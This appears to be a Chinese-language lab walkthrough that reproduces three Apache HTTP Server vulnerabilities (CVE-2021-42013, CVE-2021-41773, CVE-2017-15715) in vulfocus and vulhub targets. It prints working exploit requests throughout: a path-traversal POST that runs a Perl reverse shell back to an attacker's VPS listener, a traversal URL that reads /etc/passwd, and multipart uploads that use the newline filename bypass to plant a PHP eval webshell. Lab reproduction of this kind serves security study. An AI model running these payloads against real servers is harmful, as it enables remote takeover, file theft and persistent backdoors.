声明
严禁读者利用本文介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !
远程代码执行 CVE-2021-42013
描述
Apache HTTP Server是美国阿帕奇(Apache)基金会的一款开源网页服务器。该服务器具有快速、可靠且可通过简单的API进行扩充的特点,发现 Apache HTTP Server 2.4.50 中针对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则这可能允许远程代码执行。此问题仅影响 Apache 2.4.49 和 Apache 2.4.50,而不影响更早版本。
影响范围
Apache HTTP Server 2.4.49、2.4.50
开启靶场
在vulfocus中开启靶场
访问靶场
演示
生成反弹shell命令
https://forum.ywhack.com/shell.php或者https://forum.ywhack.com/reverse-shell/
vps开启监听
nc -lvvp 9999
访问靶场并burp开启抓包,再改成post请求
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/shecho;perl -e 'use Socket;$i="vps的ip地址";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
反弹shell成功
目录穿越 CVE_2021_41773
描述
Apache HTTP Server 2.4.49、2.4.50版本对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可利用该漏洞读取到Web目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。
影响范围
Apache HTTP Server 2.4.49、2.4.50
开启靶场
还是一样在vulfocus中开启靶场
访问靶场
演示
浏览器访问靶场并burp抓包,在修改请求目录
/icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
文件解析 CVE-2017-15715
描述
Apache(音译为阿帕奇)是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。 此漏洞的出现是由于 apache 在修复第一个后缀名解析漏洞时,用正则来匹配后缀。在解析 php 时 xxx.php\x0A 将被按照 php 后缀进行解析,导致绕过一些服务器的安全策略 。
影响范围
Apache HTTPd 2.4.0~2.4.29
开启靶场
【在vulhub中开启靶场】
(1)到漏洞docker所在环境
cd /root/vulhub/httpd/CVE-2017-15715
(2)构建 Docker Compose 文件中定义的服务的镜像
docker-compose build
(3)启动在docker-compose.yml文件中定义的服务容器
docker-compose up –d
关闭靶场
docker-compose down
【在vulfocus中开启靶场】
演示
访问靶场发现什么也没有
burp抓包,发现该apache的版本是存在解析漏洞的,可以绕过php黑名单限制
但是没有上传页面,尝试直接,修改请求为POST,添加上传文件请求
上传文件是1.php
内容是
<?php phpinfo(); ?>
请求包为
POST / HTTP/1.1
Host: 192.168.61.131:9933
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------9552222486401230933854482358
Content-Length: 359
Connection: close
Upgrade-Insecure-Requests: 1-----------------------------9552222486401230933854482358
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream<?php phpinfo(); ?>
-----------------------------9552222486401230933854482358
Content-Disposition: form-data; name="name"1.php
-----------------------------9552222486401230933854482358--
发送请求包,发现响应包返回了 bad file 上传失败
先输入在保存文件名的地方,输入一个空格,然后点击Hex编码,修改空格为0a
然后点击发送请求包,发现上传成功
浏览器访问,并burp抓包
http://192.168.61.131:9933/1.php
burp修改请求路径为
http://192.168.61.131:9933/1.php%0a
查看浏览器的响应,成功显示phpinfo信息
burp也一样能看到响应包的phpinfo信息
进阶
上传木马,进行get webshell
POST / HTTP/1.1
Host: 192.168.61.131:9933
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------9552222486401230933854482358
Content-Length: 362
Connection: close
Upgrade-Insecure-Requests: 1-----------------------------9552222486401230933854482358
Content-Disposition: form-data; name="file"; filename="2.php"
Content-Type: application/octet-stream<?php eval($_REQUEST[cmd]); ?>
-----------------------------9552222486401230933854482358
Content-Disposition: form-data; name="name"2.php-----------------------------9552222486401230933854482358--
上传成功
蚁剑连接成功
http://192.168.61.131:9933/2.php%0a
cmd